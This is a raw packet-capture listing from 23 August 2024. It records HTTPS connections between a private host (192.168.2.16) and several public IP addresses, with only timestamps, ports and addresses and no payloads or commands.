Aug 23, 2024 16:21:14.559533119 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.559561968 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.559582949 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.559628963 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.561156034 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.562649965 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.562669992 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.562707901 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.562727928 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.562767029 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.564735889 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.595634937 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.595705032 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.595772028 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.596374989 CEST	49713	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.596394062 CEST	443	49713	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.599066973 CEST	49715	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:14.599109888 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:14.599189997 CEST	49715	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:14.599399090 CEST	49715	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:14.599412918 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:14.610243082 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.686050892 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.688669920 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.688678980 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.688743114 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.688766956 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.691282034 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.691313982 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.691356897 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.691373110 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.691385984 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.692312956 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.692373037 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.692389011 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.692433119 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.696897030 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.696969986 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.699654102 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.699719906 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.701790094 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.701857090 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.704205990 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.704297066 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.705415010 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.705487967 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.707458019 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.707530022 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.708386898 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.708452940 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.710249901 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.710338116 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.711294889 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.711358070 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.713586092 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.713654041 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.717583895 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.717647076 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.718707085 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.718769073 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.719705105 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.719772100 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.719819069 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.719847918 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.719865084 CEST	443	49711	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.719878912 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.719907999 CEST	49711	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.722939014 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:14.722965956 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:14.723041058 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:14.723414898 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:14.723424911 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:14.741003036 CEST	49700	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:14.741022110 CEST	443	49700	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:14.872493029 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.872540951 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.872622967 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.872991085 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:14.873008013 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:14.982388020 CEST	443	49700	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:14.982481003 CEST	49700	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:15.016710043 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:15.016751051 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:15.016838074 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:15.017031908 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:15.017051935 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:15.132555008 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.132843018 CEST	49715	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.132869959 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.133186102 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.133626938 CEST	49715	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.133685112 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.133799076 CEST	49715	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.176505089 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.242161989 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.242487907 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.242515087 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.242826939 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.243156910 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.243221045 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.243293047 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.284509897 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.290513992 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.290596008 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.290652990 CEST	49715	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.291277885 CEST	49715	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.291295052 CEST	443	49715	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.385397911 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.385441065 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.385626078 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.385653019 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.386522055 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.386584997 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.386595011 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.388513088 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.388549089 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.388576031 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.388585091 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.388628006 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.393997908 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.397049904 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.397133112 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.397145987 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.397330046 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.397377968 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.397384882 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.403444052 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.403747082 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.403769970 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.404046059 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.404452085 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.404520035 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.404628038 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.404684067 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.404705048 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.437258959 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.487704039 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.489537001 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.489567995 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.489600897 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.489639997 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.489691019 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.491848946 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.493577957 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.493626118 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.493659973 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.495090008 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.495146036 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.495162964 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.496217012 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.496244907 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.496263981 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.496275902 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.496320009 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.501156092 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.502824068 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.502892017 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.502932072 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.516278982 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 23, 2024 16:21:15.522811890 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.523013115 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.523050070 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.523355007 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.523413897 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.523425102 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.523999929 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.524058104 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.524069071 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.528997898 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.529081106 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.529107094 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.534678936 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.534753084 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.534774065 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.580245972 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.588594913 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.591111898 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.591136932 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.591350079 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.591371059 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.591418982 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.595345974 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.595351934 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.595418930 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.599102020 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.599107981 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.599167109 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.599176884 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.608800888 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.608855963 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.608864069 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.609061003 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.613962889 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.614021063 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.619086981 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.619167089 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.621625900 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.621680975 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.629638910 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.629698038 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.635766029 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.635811090 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.635874987 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.635898113 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.637356997 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.637408972 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.637415886 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.641117096 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.641123056 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.641184092 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.641201019 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.641223907 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.646502972 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.646590948 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.649046898 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.649106979 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.649121046 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.650568962 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.650624037 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.650634050 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.652420044 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.652492046 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.657471895 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.657563925 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.662048101 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.662121058 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.664432049 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.664508104 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.664520025 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.677829027 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.677949905 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.682116032 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.682218075 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.685247898 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.685302973 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.692873001 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.692958117 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.693017960 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.693068981 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.693073034 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.693130970 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.693150043 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.693169117 CEST	443	49717	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:15.693176985 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.693223953 CEST	49717	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:15.695985079 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:15.696238041 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:15.696248055 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:15.697140932 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:15.697208881 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:15.697468996 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:15.697525024 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:15.697588921 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:15.697596073 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:15.699707031 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.699764967 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.699784994 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.707683086 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.707748890 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.707762957 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.710105896 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.710159063 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.710165024 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.710690975 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.710746050 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.710752010 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.712510109 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.712560892 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.712568045 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.713526964 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.713579893 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.713593006 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.716623068 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.716650009 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.716669083 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.716677904 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.716708899 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.718446970 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.718496084 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.718544006 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.718549967 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.720032930 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.720091105 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.720099926 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.723403931 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.723438978 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.723459959 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.723465919 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:15.723507881 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:15.740267038 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:16.821099997 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.823657990 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.823703051 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.823761940 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.823786974 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.823822975 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.824541092 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.828013897 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.828115940 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.828134060 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.830903053 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.830943108 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.831003904 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.831012964 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.831038952 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.832926989 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.832993984 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.833000898 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.833055019 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.835829973 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.835903883 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.838845015 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.838922977 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.839873075 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.839941978 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.845213890 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:16.845242977 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:16.845341921 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:16.845377922 CEST	443	49719	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:16.845427990 CEST	49719	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:16.861639977 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.861712933 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.865094900 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.865151882 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.868285894 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.868350983 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.870826960 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.870899916 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.873622894 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.873682976 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.876276016 CEST	443	49718	104.18.94.41	192.168.2.16
Aug 23, 2024 16:21:16.876352072 CEST	49718	443	192.168.2.16	104.18.94.41
Aug 23, 2024 16:21:16.877738953 CEST	443	49718	104.18.94.41	192.168.2.16
